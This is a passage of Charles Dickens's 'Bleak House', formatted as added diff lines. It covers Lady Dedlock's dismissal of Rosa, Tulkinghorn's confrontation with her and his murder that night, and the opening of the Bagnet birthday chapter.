+attention to anything Lady Dedlock does me the honour to say."
+
+As he turns towards her, he finds that the impression she makes upon
+him is less agreeable than on the former occasion. A distant
+supercilious air makes a cold atmosphere about her, and there is
+nothing in her bearing, as there was before, to encourage openness.
+
+"Pray, sir," says Lady Dedlock listlessly, "may I be allowed to
+inquire whether anything has passed between you and your son
+respecting your son's fancy?"
+
+It is almost too troublesome to her languid eyes to bestow a look
+upon him as she asks this question.
+
+"If my memory serves me, Lady Dedlock, I said, when I had the
+pleasure of seeing you before, that I should seriously advise my son
+to conquer that--fancy." The ironmaster repeats her expression with a
+little emphasis.
+
+"And did you?"
+
+"Oh! Of course I did."
+
+Sir Leicester gives a nod, approving and confirmatory. Very proper.
+The iron gentleman, having said that he would do it, was bound to do
+it. No difference in this respect between the base metals and the
+precious. Highly proper.
+
+"And pray has he done so?"
+
+"Really, Lady Dedlock, I cannot make you a definite reply. I fear
+not. Probably not yet. In our condition of life, we sometimes couple
+an intention with our--our fancies which renders them not altogether
+easy to throw off. I think it is rather our way to be in earnest."
+
+Sir Leicester has a misgiving that there may be a hidden Wat Tylerish
+meaning in this expression, and fumes a little. Mr. Rouncewell is
+perfectly good-humoured and polite, but within such limits, evidently
+adapts his tone to his reception.
+
+"Because," proceeds my Lady, "I have been thinking of the subject,
+which is tiresome to me."
+
+"I am very sorry, I am sure."
+
+"And also of what Sir Leicester said upon it, in which I quite
+concur"--Sir Leicester flattered--"and if you cannot give us the
+assurance that this fancy is at an end, I have come to the conclusion
+that the girl had better leave me."
+
+"I can give no such assurance, Lady Dedlock. Nothing of the kind."
+
+"Then she had better go."
+
+"Excuse me, my Lady," Sir Leicester considerately interposes, "but
+perhaps this may be doing an injury to the young woman which she has
+not merited. Here is a young woman," says Sir Leicester,
+magnificently laying out the matter with his right hand like a
+service of plate, "whose good fortune it is to have attracted the
+notice and favour of an eminent lady and to live, under the
+protection of that eminent lady, surrounded by the various advantages
+which such a position confers, and which are unquestionably very
+great--I believe unquestionably very great, sir--for a young woman in
+that station of life. The question then arises, should that young
+woman be deprived of these many advantages and that good fortune
+simply because she has"--Sir Leicester, with an apologetic but
+dignified inclination of his head towards the ironmaster, winds up
+his sentence--"has attracted the notice of Mr Rouncewell's son? Now,
+has she deserved this punishment? Is this just towards her? Is this
+our previous understanding?"
+
+"I beg your pardon," interposes Mr. Rouncewell's son's father. "Sir
+Leicester, will you allow me? I think I may shorten the subject. Pray
+dismiss that from your consideration. If you remember anything so
+unimportant--which is not to be expected--you would recollect that my
+first thought in the affair was directly opposed to her remaining
+here."
+
+Dismiss the Dedlock patronage from consideration? Oh! Sir Leicester
+is bound to believe a pair of ears that have been handed down to him
+through such a family, or he really might have mistrusted their
+report of the iron gentleman's observations.
+
+"It is not necessary," observes my Lady in her coldest manner before
+he can do anything but breathe amazedly, "to enter into these matters
+on either side. The girl is a very good girl; I have nothing whatever
+to say against her, but she is so far insensible to her many
+advantages and her good fortune that she is in love--or supposes she
+is, poor little fool--and unable to appreciate them."
+
+Sir Leicester begs to observe that wholly alters the case. He might
+have been sure that my Lady had the best grounds and reasons in
+support of her view. He entirely agrees with my Lady. The young woman
+had better go.
+
+"As Sir Leicester observed, Mr. Rouncewell, on the last occasion when
+we were fatigued by this business," Lady Dedlock languidly proceeds,
+"we cannot make conditions with you. Without conditions, and under
+present circumstances, the girl is quite misplaced here and had
+better go. I have told her so. Would you wish to have her sent back
+to the village, or would you like to take her with you, or what would
+you prefer?"
+
+"Lady Dedlock, if I may speak plainly--"
+
+"By all means."
+
+"--I should prefer the course which will the soonest relieve you of
+the incumbrance and remove her from her present position."
+
+"And to speak as plainly," she returns with the same studied
+carelessness, "so should I. Do I understand that you will take her
+with you?"
+
+The iron gentleman makes an iron bow.
+
+"Sir Leicester, will you ring?" Mr. Tulkinghorn steps forward from
+his window and pulls the bell. "I had forgotten you. Thank you." He
+makes his usual bow and goes quietly back again. Mercury,
+swift-responsive, appears, receives instructions whom to produce,
+skims away, produces the aforesaid, and departs.
+
+Rosa has been crying and is yet in distress. On her coming in, the
+ironmaster leaves his chair, takes her arm in his, and remains with
+her near the door ready to depart.
+
+"You are taken charge of, you see," says my Lady in her weary manner,
+"and are going away well protected. I have mentioned that you are a
+very good girl, and you have nothing to cry for."
+
+"She seems after all," observes Mr. Tulkinghorn, loitering a little
+forward with his hands behind him, "as if she were crying at going
+away."
+
+"Why, she is not well-bred, you see," returns Mr. Rouncewell with
+some quickness in his manner, as if he were glad to have the lawyer
+to retort upon, "and she is an inexperienced little thing and knows
+no better. If she had remained here, sir, she would have improved, no
+doubt."
+
+"No doubt," is Mr. Tulkinghorn's composed reply.
+
+Rosa sobs out that she is very sorry to leave my Lady, and that she
+was happy at Chesney Wold, and has been happy with my Lady, and that
+she thanks my Lady over and over again. "Out, you silly little puss!"
+says the ironmaster, checking her in a low voice, though not angrily.
+"Have a spirit, if you're fond of Watt!" My Lady merely waves her off
+with indifference, saying, "There, there, child! You are a good girl.
+Go away!" Sir Leicester has magnificently disengaged himself from the
+subject and retired into the sanctuary of his blue coat. Mr.
+Tulkinghorn, an indistinct form against the dark street now dotted
+with lamps, looms in my Lady's view, bigger and blacker than before.
+
+"Sir Leicester and Lady Dedlock," says Mr. Rouncewell after a pause
+of a few moments, "I beg to take my leave, with an apology for having
+again troubled you, though not of my own act, on this tiresome
+subject. I can very well understand, I assure you, how tiresome so
+small a matter must have become to Lady Dedlock. If I am doubtful of
+my dealing with it, it is only because I did not at first quietly
+exert my influence to take my young friend here away without
+troubling you at all. But it appeared to me--I dare say magnifying
+the importance of the thing--that it was respectful to explain to you
+how the matter stood and candid to consult your wishes and
+convenience. I hope you will excuse my want of acquaintance with the
+polite world."
+
+Sir Leicester considers himself evoked out of the sanctuary by these
+remarks. "Mr. Rouncewell," he returns, "do not mention it.
+Justifications are unnecessary, I hope, on either side."
+
+"I am glad to hear it, Sir Leicester; and if I may, by way of a last
+word, revert to what I said before of my mother's long connexion with
+the family and the worth it bespeaks on both sides, I would point out
+this little instance here on my arm who shows herself so affectionate
+and faithful in parting and in whom my mother, I dare say, has done
+something to awaken such feelings--though of course Lady Dedlock, by
+her heartfelt interest and her genial condescension, has done much
+more."
+
+If he mean this ironically, it may be truer than he thinks. He points
+it, however, by no deviation from his straightforward manner of
+speech, though in saying it he turns towards that part of the dim
+room where my Lady sits. Sir Leicester stands to return his parting
+salutation, Mr. Tulkinghorn again rings, Mercury takes another
+flight, and Mr. Rouncewell and Rosa leave the house.
+
+Then lights are brought in, discovering Mr. Tulkinghorn still
+standing in his window with his hands behind him and my Lady still
+sitting with his figure before her, closing up her view of the night
+as well as of the day. She is very pale. Mr. Tulkinghorn, observing
+it as she rises to retire, thinks, "Well she may be! The power of
+this woman is astonishing. She has been acting a part the whole
+time." But he can act a part too--his one unchanging character--and
+as he holds the door open for this woman, fifty pairs of eyes, each
+fifty times sharper than Sir Leicester's pair, should find no flaw in
+him.
+
+Lady Dedlock dines alone in her own room to-day. Sir Leicester is
+whipped in to the rescue of the Doodle Party and the discomfiture of
+the Coodle Faction. Lady Dedlock asks on sitting down to dinner,
+still deadly pale (and quite an illustration of the debilitated
+cousin's text), whether he is gone out? Yes. Whether Mr. Tulkinghorn
+is gone yet? No. Presently she asks again, is he gone YET? No. What
+is he doing? Mercury thinks he is writing letters in the library.
+Would my Lady wish to see him? Anything but that.
+
+But he wishes to see my Lady. Within a few more minutes he is
+reported as sending his respects, and could my Lady please to receive
+him for a word or two after her dinner? My Lady will receive him now.
+He comes now, apologizing for intruding, even by her permission,
+while she is at table. When they are alone, my Lady waves her hand to
+dispense with such mockeries.
+
+"What do you want, sir?"
+
+"Why, Lady Dedlock," says the lawyer, taking a chair at a little
+distance from her and slowly rubbing his rusty legs up and down, up
+and down, up and down, "I am rather surprised by the course you have
+taken."
+
+"Indeed?"
+
+"Yes, decidedly. I was not prepared for it. I consider it a departure
+from our agreement and your promise. It puts us in a new position,
+Lady Dedlock. I feel myself under the necessity of saying that I
+don't approve of it."
+
+He stops in his rubbing and looks at her, with his hands on his
+knees. Imperturbable and unchangeable as he is, there is still an
+indefinable freedom in his manner which is new and which does not
+escape this woman's observation.
+
+"I do not quite understand you."
+
+"Oh, yes you do, I think. I think you do. Come, come, Lady Dedlock,
+we must not fence and parry now. You know you like this girl."
+
+"Well, sir?"
+
+"And you know--and I know--that you have not sent her away for the
+reasons you have assigned, but for the purpose of separating her as
+much as possible from--excuse my mentioning it as a matter of
+business--any reproach and exposure that impend over yourself."
+
+"Well, sir?"
+
+"Well, Lady Dedlock," returns the lawyer, crossing his legs and
+nursing the uppermost knee. "I object to that. I consider that a
+dangerous proceeding. I know it to be unnecessary and calculated to
+awaken speculation, doubt, rumour, I don't know what, in the house.
+Besides, it is a violation of our agreement. You were to be exactly
+what you were before. Whereas, it must be evident to yourself, as it
+is to me, that you have been this evening very different from what
+you were before. Why, bless my soul, Lady Dedlock, transparently so!"
+
+"If, sir," she begins, "in my knowledge of my secret--" But he
+interrupts her.
+
+"Now, Lady Dedlock, this is a matter of business, and in a matter of
+business the ground cannot be kept too clear. It is no longer your
+secret. Excuse me. That is just the mistake. It is my secret, in
+trust for Sir Leicester and the family. If it were your secret, Lady
+Dedlock, we should not be here holding this conversation."
+
+"That is very true. If in my knowledge of THE secret I do what I can
+to spare an innocent girl (especially, remembering your own reference
+to her when you told my story to the assembled guests at Chesney
+Wold) from the taint of my impending shame, I act upon a resolution I
+have taken. Nothing in the world, and no one in the world, could
+shake it or could move me." This she says with great deliberation and
+distinctness and with no more outward passion than himself. As for
+him, he methodically discusses his matter of business as if she were
+any insensible instrument used in business.
+
+"Really? Then you see, Lady Dedlock," he returns, "you are not to be
+trusted. You have put the case in a perfectly plain way, and
+according to the literal fact; and that being the case, you are not
+to be trusted."
+
+"Perhaps you may remember that I expressed some anxiety on this same
+point when we spoke at night at Chesney Wold?"
+
+"Yes," says Mr. Tulkinghorn, coolly getting up and standing on the
+hearth. "Yes. I recollect, Lady Dedlock, that you certainly referred
+to the girl, but that was before we came to our arrangement, and both
+the letter and the spirit of our arrangement altogether precluded any
+action on your part founded upon my discovery. There can be no doubt
+about that. As to sparing the girl, of what importance or value is
+she? Spare! Lady Dedlock, here is a family name compromised. One
+might have supposed that the course was straight on--over everything,
+neither to the right nor to the left, regardless of all
+considerations in the way, sparing nothing, treading everything under
+foot."
+
+She has been looking at the table. She lifts up her eyes and looks at
+him. There is a stern expression on her face and a part of her lower
+lip is compressed under her teeth. "This woman understands me," Mr.
+Tulkinghorn thinks as she lets her glance fall again. "SHE cannot be
+spared. Why should she spare others?"
+
+For a little while they are silent. Lady Dedlock has eaten no dinner,
+but has twice or thrice poured out water with a steady hand and drunk
+it. She rises from table, takes a lounging-chair, and reclines in it,
+shading her face. There is nothing in her manner to express weakness
+or excite compassion. It is thoughtful, gloomy, concentrated. "This
+woman," thinks Mr. Tulkinghorn, standing on the hearth, again a dark
+object closing up her view, "is a study."
+
+He studies her at his leisure, not speaking for a time. She too
+studies something at her leisure. She is not the first to speak,
+appearing indeed so unlikely to be so, though he stood there until
+midnight, that even he is driven upon breaking silence.
+
+"Lady Dedlock, the most disagreeable part of this business interview
+remains, but it is business. Our agreement is broken. A lady of your
+sense and strength of character will be prepared for my now declaring
+it void and taking my own course."
+
+"I am quite prepared."
+
+Mr. Tulkinghorn inclines his head. "That is all I have to trouble you
+with, Lady Dedlock."
+
+She stops him as he is moving out of the room by asking, "This is the
+notice I was to receive? I wish not to misapprehend you."
+
+"Not exactly the notice you were to receive, Lady Dedlock, because
+the contemplated notice supposed the agreement to have been observed.
+But virtually the same, virtually the same. The difference is merely
+in a lawyer's mind."
+
+"You intend to give me no other notice?"
+
+"You are right. No."
+
+"Do you contemplate undeceiving Sir Leicester to-night?"
+
+"A home question!" says Mr. Tulkinghorn with a slight smile and
+cautiously shaking his head at the shaded face. "No, not to-night."
+
+"To-morrow?"
+
+"All things considered, I had better decline answering that question,
+Lady Dedlock. If I were to say I don't know when, exactly, you would
+not believe me, and it would answer no purpose. It may be to-morrow.
+I would rather say no more. You are prepared, and I hold out no
+expectations which circumstances might fail to justify. I wish you
+good evening."
+
+She removes her hand, turns her pale face towards him as he walks
+silently to the door, and stops him once again as he is about to open
+it.
+
+"Do you intend to remain in the house any time? I heard you were
+writing in the library. Are you going to return there?"
+
+"Only for my hat. I am going home."
+
+She bows her eyes rather than her head, the movement is so slight and
+curious, and he withdraws. Clear of the room he looks at his watch
+but is inclined to doubt it by a minute or thereabouts. There is a
+splendid clock upon the staircase, famous, as splendid clocks not
+often are, for its accuracy. "And what do YOU say," Mr. Tulkinghorn
+inquires, referring to it. "What do you say?"
+
+If it said now, "Don't go home!" What a famous clock, hereafter, if
+it said to-night of all the nights that it has counted off, to this
+old man of all the young and old men who have ever stood before it,
+"Don't go home!" With its sharp clear bell it strikes three quarters
+after seven and ticks on again. "Why, you are worse than I thought
+you," says Mr. Tulkinghorn, muttering reproof to his watch. "Two
+minutes wrong? At this rate you won't last my time." What a watch to
+return good for evil if it ticked in answer, "Don't go home!"
+
+He passes out into the streets and walks on, with his hands behind
+him, under the shadow of the lofty houses, many of whose mysteries,
+difficulties, mortgages, delicate affairs of all kinds, are treasured
+up within his old black satin waistcoat. He is in the confidence of
+the very bricks and mortar. The high chimney-stacks telegraph family
+secrets to him. Yet there is not a voice in a mile of them to
+whisper, "Don't go home!"
+
+Through the stir and motion of the commoner streets; through the roar
+and jar of many vehicles, many feet, many voices; with the blazing
+shop-lights lighting him on, the west wind blowing him on, and the
+crowd pressing him on, he is pitilessly urged upon his way, and
+nothing meets him murmuring, "Don't go home!" Arrived at last in his
+dull room to light his candles, and look round and up, and see the
+Roman pointing from the ceiling, there is no new significance in the
+Roman's hand to-night or in the flutter of the attendant groups to
+give him the late warning, "Don't come here!"
+
+It is a moonlight night, but the moon, being past the full, is only
+now rising over the great wilderness of London. The stars are shining
+as they shone above the turret-leads at Chesney Wold. This woman, as
+he has of late been so accustomed to call her, looks out upon them.
+Her soul is turbulent within her; she is sick at heart and restless.
+The large rooms are too cramped and close. She cannot endure their
+restraint and will walk alone in a neighbouring garden.
+
+Too capricious and imperious in all she does to be the cause of much
+surprise in those about her as to anything she does, this woman,
+loosely muffled, goes out into the moonlight. Mercury attends with
+the key. Having opened the garden-gate, he delivers the key into his
+Lady's hands at her request and is bidden to go back. She will walk
+there some time to ease her aching head. She may be an hour, she may
+be more. She needs no further escort. The gate shuts upon its spring
+with a clash, and he leaves her passing on into the dark shade of
+some trees.
+
+A fine night, and a bright large moon, and multitudes of stars. Mr.
+Tulkinghorn, in repairing to his cellar and in opening and shutting
+those resounding doors, has to cross a little prison-like yard. He
+looks up casually, thinking what a fine night, what a bright large
+moon, what multitudes of stars! A quiet night, too.
+
+A very quiet night. When the moon shines very brilliantly, a solitude
+and stillness seem to proceed from her that influence even crowded
+places full of life. Not only is it a still night on dusty high roads
+and on hill-summits, whence a wide expanse of country may be seen in
+repose, quieter and quieter as it spreads away into a fringe of trees
+against the sky with the grey ghost of a bloom upon them; not only is
+it a still night in gardens and in woods, and on the river where the
+water-meadows are fresh and green, and the stream sparkles on among
+pleasant islands, murmuring weirs, and whispering rushes; not only
+does the stillness attend it as it flows where houses cluster thick,
+where many bridges are reflected in it, where wharves and shipping
+make it black and awful, where it winds from these disfigurements
+through marshes whose grim beacons stand like skeletons washed
+ashore, where it expands through the bolder region of rising grounds,
+rich in cornfield wind-mill and steeple, and where it mingles with
+the ever-heaving sea; not only is it a still night on the deep, and
+on the shore where the watcher stands to see the ship with her spread
+wings cross the path of light that appears to be presented to only
+him; but even on this stranger's wilderness of London there is some
+rest. Its steeples and towers and its one great dome grow more
+ethereal; its smoky house-tops lose their grossness in the pale
+effulgence; the noises that arise from the streets are fewer and are
+softened, and the footsteps on the pavements pass more tranquilly
+away. In these fields of Mr. Tulkinghorn's inhabiting, where the
+shepherds play on Chancery pipes that have no stop, and keep their
+sheep in the fold by hook and by crook until they have shorn them
+exceeding close, every noise is merged, this moonlight night, into a
+distant ringing hum, as if the city were a vast glass, vibrating.
+
+What's that? Who fired a gun or pistol? Where was it?
+
+The few foot-passengers start, stop, and stare about them. Some
+windows and doors are opened, and people come out to look. It was a
+loud report and echoed and rattled heavily. It shook one house, or so
+a man says who was passing. It has aroused all the dogs in the
+neighbourhood, who bark vehemently. Terrified cats scamper across the
+road. While the dogs are yet barking and howling--there is one dog
+howling like a demon--the church-clocks, as if they were startled
+too, begin to strike. The hum from the streets, likewise, seems to
+swell into a shout. But it is soon over. Before the last clock begins
+to strike ten, there is a lull. When it has ceased, the fine night,
+the bright large moon, and multitudes of stars, are left at peace
+again.
+
+Has Mr. Tulkinghorn been disturbed? His windows are dark and quiet,
+and his door is shut. It must be something unusual indeed to bring
+him out of his shell. Nothing is heard of him, nothing is seen of
+him. What power of cannon might it take to shake that rusty old man
+out of his immovable composure?
+
+For many years the persistent Roman has been pointing, with no
+particular meaning, from that ceiling. It is not likely that he has
+any new meaning in him to-night. Once pointing, always pointing--like
+any Roman, or even Briton, with a single idea. There he is, no doubt,
+in his impossible attitude, pointing, unavailingly, all night long.
+Moonlight, darkness, dawn, sunrise, day. There he is still, eagerly
+pointing, and no one minds him.
+
+But a little after the coming of the day come people to clean the
+rooms. And either the Roman has some new meaning in him, not
+expressed before, or the foremost of them goes wild, for looking up
+at his outstretched hand and looking down at what is below it, that
+person shrieks and flies. The others, looking in as the first one
+looked, shriek and fly too, and there is an alarm in the street.
+
+What does it mean? No light is admitted into the darkened chamber,
+and people unaccustomed to it enter, and treading softly but heavily,
+carry a weight into the bedroom and lay it down. There is whispering
+and wondering all day, strict search of every corner, careful tracing
+of steps, and careful noting of the disposition of every article of
+furniture. All eyes look up at the Roman, and all voices murmur, "If
+he could only tell what he saw!"
+
+He is pointing at a table with a bottle (nearly full of wine) and a
+glass upon it and two candles that were blown out suddenly soon after
+being lighted. He is pointing at an empty chair and at a stain upon
+the ground before it that might be almost covered with a hand. These
+objects lie directly within his range. An excited imagination might
+suppose that there was something in them so terrific as to drive the
+rest of the composition, not only the attendant big-legged boys, but
+the clouds and flowers and pillars too--in short, the very body and
+soul of Allegory, and all the brains it has--stark mad. It happens
+surely that every one who comes into the darkened room and looks at
+these things looks up at the Roman and that he is invested in all
+eyes with mystery and awe, as if he were a paralysed dumb witness.
+
+So it shall happen surely, through many years to come, that ghostly
+stories shall be told of the stain upon the floor, so easy to be
+covered, so hard to be got out, and that the Roman, pointing from the
+ceiling shall point, so long as dust and damp and spiders spare him,
+with far greater significance than he ever had in Mr. Tulkinghorn's
+time, and with a deadly meaning. For Mr. Tulkinghorn's time is over
+for evermore, and the Roman pointed at the murderous hand uplifted
+against his life, and pointed helplessly at him, from night to
+morning, lying face downward on the floor, shot through the heart.
+
+
+
+
+CHAPTER XLIX
+
+Dutiful Friendship
+
+
+A great annual occasion has come round in the establishment of Mr.
+Matthew Bagnet, otherwise Lignum Vitae, ex-artilleryman and present
+bassoon-player. An occasion of feasting and festival. The celebration
+of a birthday in the family.
+
+It is not Mr. Bagnet's birthday. Mr. Bagnet merely distinguishes that
+epoch in the musical instrument business by kissing the children with
+an extra smack before breakfast, smoking an additional pipe after
+dinner, and wondering towards evening what his poor old mother is
+thinking about it--a subject of infinite speculation, and rendered so
+by his mother having departed this life twenty years. Some men rarely
+revert to their father, but seem, in the bank-books of their
+remembrance, to have transferred all the stock of filial affection
+into their mother's name. Mr. Bagnet is one of these. Perhaps his
+exalted appreciation of the merits of the old girl causes him usually
+to make the noun-substantive "goodness" of the feminine gender.
+
+It is not the birthday of one of the three children. Those occasions
+are kept with some marks of distinction, but they rarely overleap the
+bounds of happy returns and a pudding. On young Woolwich's last
+birthday, Mr. Bagnet certainly did, after observing on his growth and
+general advancement, proceed, in a moment of profound reflection on
+the changes wrought by time, to examine him in the catechism,
+accomplishing with extreme accuracy the questions number one and two,
+"What is your name?" and "Who gave you that name?" but there failing
+in the exact precision of his memory and substituting for number
+three the question "And how do you like that name?" which he
+propounded with a sense of its importance, in itself so edifying and
+improving as to give it quite an orthodox air. This, however, was a
+speciality on that particular birthday, and not a general solemnity.
+
+It is the old girl's birthday, and that is the greatest holiday and
+reddest-letter day in Mr. Bagnet's calendar. The auspicious event is
+always commemorated according to certain forms settled and prescribed
+by Mr. Bagnet some years since. Mr. Bagnet, being deeply convinced
+that to have a pair of fowls for dinner is to attain the highest
+pitch of imperial luxury, invariably goes forth himself very early in
+the morning of this day to buy a pair; he is, as invariably, taken in
+by the vendor and installed in the possession of the oldest
+inhabitants of any coop in Europe. Returning with these triumphs of
+toughness tied up in a clean blue and white cotton handkerchief
+(essential to the arrangements), he in a casual manner invites Mrs.
+Bagnet to declare at breakfast what she would like for dinner. Mrs.
+Bagnet, by a coincidence never known to fail, replying fowls, Mr.
+Bagnet instantly produces his bundle from a place of concealment
+amidst general amazement and rejoicing. He further requires that the
+old girl shall do nothing all day long but sit in her very best gown
+and be served by himself and the young people. As he is not
+illustrious for his cookery, this may be supposed to be a matter of
+state rather than enjoyment on the old girl's part, but she keeps her
+state with all imaginable cheerfulness.
+
+On this present birthday, Mr. Bagnet has accomplished the usual
+preliminaries. He has bought two specimens of poultry, which, if
+there be any truth in adages, were certainly not caught with chaff,
+to be prepared for the spit; he has amazed and rejoiced the family by
+their unlooked-for production; he is himself directing the roasting
+of the poultry; and Mrs. Bagnet, with her wholesome brown fingers
+itching to prevent what she sees going wrong, sits in her gown of
+ceremony, an honoured guest.
+
+Quebec and Malta lay the cloth for dinner, while Woolwich, serving,
+as beseems him, under his father, keeps the fowls revolving. To these
+young scullions Mrs. Bagnet occasionally imparts a wink, or a shake
+of the head, or a crooked face, as they made mistakes.
+
+"At half after one." Says Mr. Bagnet. "To the minute. They'll be
+done."
+
+Mrs. Bagnet, with anguish, beholds one of them at a standstill before
+the fire and beginning to burn.
+
+"You shall have a dinner, old girl," says Mr. Bagnet. "Fit for a
+queen."
+
+Mrs. Bagnet shows her white teeth cheerfully, but to the perception
+of her son, betrays so much uneasiness of spirit that he is impelled
+by the dictates of affection to ask her, with his eyes, what is the
+matter, thus standing, with his eyes wide open, more oblivious of the
+fowls than before, and not affording the least hope of a return to
+consciousness. Fortunately his elder sister perceives the cause of
+the agitation in Mrs. Bagnet's breast and with an admonitory poke
+recalls him. The stopped fowls going round again, Mrs. Bagnet closes
+her eyes in the intensity of her relief.
+
+"George will look us up," says Mr. Bagnet. "At half after four. To
+the moment. How many years, old girl. Has George looked us up. This
+afternoon?"
+
+"Ah, Lignum, Lignum, as many as make an old woman of a young one, I
+begin to think. Just about that, and no less," returns Mrs. Bagnet,
+laughing and shaking her head.
+
+"Old girl," says Mr. Bagnet, "never mind. You'd be as young as ever
+you was. If you wasn't younger. Which you are. As everybody knows."
+
+Quebec and Malta here exclaim, with clapping of hands, that Bluffy is
+sure to bring mother something, and begin to speculate on what it
+will be.
+
+"Do you know, Lignum," says Mrs. Bagnet, casting a glance on the
+table-cloth, and winking "salt!" at Malta with her right eye, and
+shaking the pepper away from Quebec with her head, "I begin to think
+George is in the roving way again.
+
+"George," returns Mr. Bagnet, "will never desert. And leave his old
+comrade. In the lurch. Don't be afraid of it."
+
+"No, Lignum. No. I don't say he will. I don't think he will. But if
+he could get over this money trouble of his, I believe he would be
+off."
+
+Mr. Bagnet asks why.
+
+"Well," returns his wife, considering, "George seems to me to be
+getting not a little impatient and restless. I don't say but what
+he's as free as ever. Of course he must be free or he wouldn't be
+George, but he smarts and seems put out."
+
+"He's extra-drilled," says Mr. Bagnet. "By a lawyer. Who would put
+the devil out."
+
+"There's something in that," his wife assents; "but so it is,
+Lignum."
+
+Further conversation is prevented, for the time, by the necessity
+under which Mr. Bagnet finds himself of directing the whole force of
+his mind to the dinner, which is a little endangered by the dry
+humour of the fowls in not yielding any gravy, and also by the made
+gravy acquiring no flavour and turning out of a flaxen complexion.
+With a similar perverseness, the potatoes crumble off forks in the
+process of peeling, upheaving from their centres in every direction,
+as if they were subject to earthquakes. The legs of the fowls, too,
+are longer than could be desired, and extremely scaly. Overcoming
+these disadvantages to the best of his ability, Mr. Bagnet at last
+dishes and they sit down at table, Mrs. Bagnet occupying the guest's
+place at his right hand.
+
+It is well for the old girl that she has but one birthday in a year,
+for two such indulgences in poultry might be injurious. Every kind of
+finer tendon and ligament that is in the nature of poultry to possess
+is developed in these specimens in the singular form of
+guitar-strings. Their limbs appear to have struck roots into their
+breasts and bodies, as aged trees strike roots into the earth. Their
+legs are so hard as to encourage the idea that they must have devoted
+the greater part of their long and arduous lives to pedestrian
+exercises and the walking of matches. But Mr. Bagnet, unconscious of
+these little defects, sets his heart on Mrs. Bagnet eating a most
+severe quantity of the delicacies before her; and as that good old
+girl would not cause him a moment's disappointment on any day, least
+of all on such a day, for any consideration, she imperils her
+digestion fearfully. How young Woolwich cleans the drum-sticks
+without being of ostrich descent, his anxious mother is at a loss to
+understand.
+
+The old girl has another trial to undergo after the conclusion of the
+repast in sitting in state to see the room cleared, the hearth swept,
+and the dinner-service washed up and polished in the backyard. The
+great delight and energy with which the two young ladies apply
+themselves to these duties, turning up their skirts in imitation of
+their mother and skating in and out on little scaffolds of pattens,
+inspire the highest hopes for the future, but some anxiety for the
+present. The same causes lead to confusion of tongues, a clattering
+of crockery, a rattling of tin mugs, a whisking of brooms, and an
+expenditure of water, all in excess, while the saturation of the
+young ladies themselves is almost too moving a spectacle for Mrs.
+Bagnet to look upon with the calmness proper to her position. At last
+the various cleansing processes are triumphantly completed; Quebec
+and Malta appear in fresh attire, smiling and dry; pipes, tobacco,
+and something to drink are placed upon the table; and the old girl
+enjoys the first peace of mind she ever knows on the day of this
+delightful entertainment.
+
+When Mr. Bagnet takes his usual seat, the hands of the clock are very
+near to half-past four; as they mark it accurately, Mr. Bagnet
+announces, "George! Military time."
+
+It is George, and he has hearty congratulations for the old girl
+(whom he kisses on the great occasion), and for the children, and for
+Mr. Bagnet. "Happy returns to all!" says Mr. George.
+
+"But, George, old man!" cries Mrs. Bagnet, looking at him curiously.
+"What's come to you?"
+
+"Come to me?"
+
+"Ah! You are so white, George--for you--and look so shocked. Now
+don't he, Lignum?"
+
+"George," says Mr. Bagnet, "tell the old girl. What's the matter."
+
+"I didn't know I looked white," says the trooper, passing his hand
+over his brow, "and I didn't know I looked shocked, and I'm sorry I
+do. But the truth is, that boy who was taken in at my place died
+yesterday afternoon, and it has rather knocked me over."
+
+"Poor creetur!" says Mrs. Bagnet with a mother's pity. "Is he gone?
+Dear, dear!"
+
+"I didn't mean to say anything about it, for it's not birthday talk,
+but you have got it out of me, you see, before I sit down. I should
+have roused up in a minute," says the trooper, making himself speak
+more gaily, "but you're so quick, Mrs. Bagnet."
+
+"You're right. The old girl," says Mr. Bagnet. "Is as quick. As
+powder."
+
+"And what's more, she's the subject of the day, and we'll stick to
+her," cries Mr. George. "See here, I have brought a little brooch
+along with me. It's a poor thing, you know, but it's a keepsake.
+That's all the good it is, Mrs. Bagnet."
+
+Mr. George produces his present, which is greeted with admiring
+leapings and clappings by the young family, and with a species of
+reverential admiration by Mr. Bagnet. "Old girl," says Mr. Bagnet.
+"Tell him my opinion of it."
+
+"Why, it's a wonder, George!" Mrs. Bagnet exclaims. "It's the
+beautifullest thing that ever was seen!"
+
+"Good!" says Mr. Bagnet. "My opinion."
+
+"It's so pretty, George," cries Mrs. Bagnet, turning it on all sides
+and holding it out at arm's length, "that it seems too choice for
+me."
+
+"Bad!" says Mr. Bagnet. "Not my opinion."
+
+"But whatever it is, a hundred thousand thanks, old fellow," says
+Mrs. Bagnet, her eyes sparkling with pleasure and her hand stretched
+out to him; "and though I have been a crossgrained soldier's wife to
+you sometimes, George, we are as strong friends, I am sure, in
+reality, as ever can be. Now you shall fasten it on yourself, for
+good luck, if you will, George."
+
+The children close up to see it done, and Mr. Bagnet looks over young
+Woolwich's head to see it done with an interest so maturely wooden,
+yet pleasantly childish, that Mrs. Bagnet cannot help laughing in her
+airy way and saying, "Oh, Lignum, Lignum, what a precious old chap
+you are!" But the trooper fails to fasten the brooch. His hand
+shakes, he is nervous, and it falls off. "Would any one believe
+this?" says he, catching it as it drops and looking round. "I am so
+out of sorts that I bungle at an easy job like this!"
+
+Mrs. Bagnet concludes that for such a case there is no remedy like a
+pipe, and fastening the brooch herself in a twinkling, causes the
+trooper to be inducted into his usual snug place and the pipes to be
+got into action. "If that don't bring you round, George," says she,
+"just throw your eye across here at your present now and then, and
+the two together MUST do it."
+
+"You ought to do it of yourself," George answers; "I know that very
+well, Mrs. Bagnet. I'll tell you how, one way and another, the blues
+have got to be too many for me. Here was this poor lad. 'Twas dull
+work to see him dying as he did, and not be able to help him."
+
+"What do you mean, George? You did help him. You took him under your
+roof."
+
+"I helped him so far, but that's little. I mean, Mrs. Bagnet, there
+he was, dying without ever having been taught much more than to know
+his right hand from his left. And he was too far gone to be helped
+out of that."
+
+"Ah, poor creetur!" says Mrs. Bagnet.
+
+"Then," says the trooper, not yet lighting his pipe, and passing his
+heavy hand over his hair, "that brought up Gridley in a man's mind.
+His was a bad case too, in a different way. Then the two got mixed up
+in a man's mind with a flinty old rascal who had to do with both. And
+to think of that rusty carbine, stock and barrel, standing up on end
+in his corner, hard, indifferent, taking everything so evenly--it
+made flesh and blood tingle, I do assure you."
+
+"My advice to you," returns Mrs. Bagnet, "is to light your pipe and
+tingle that way. It's wholesomer and comfortabler, and better for the
+health altogether."
+
+"You're right," says the trooper, "and I'll do it."
+
+So he does it, though still with an indignant gravity that impresses
+the young Bagnets, and even causes Mr. Bagnet to defer the ceremony
+of drinking Mrs. Bagnet's health, always given by himself on these
+occasions in a speech of exemplary terseness. But the young ladies
+having composed what Mr. Bagnet is in the habit of calling "the
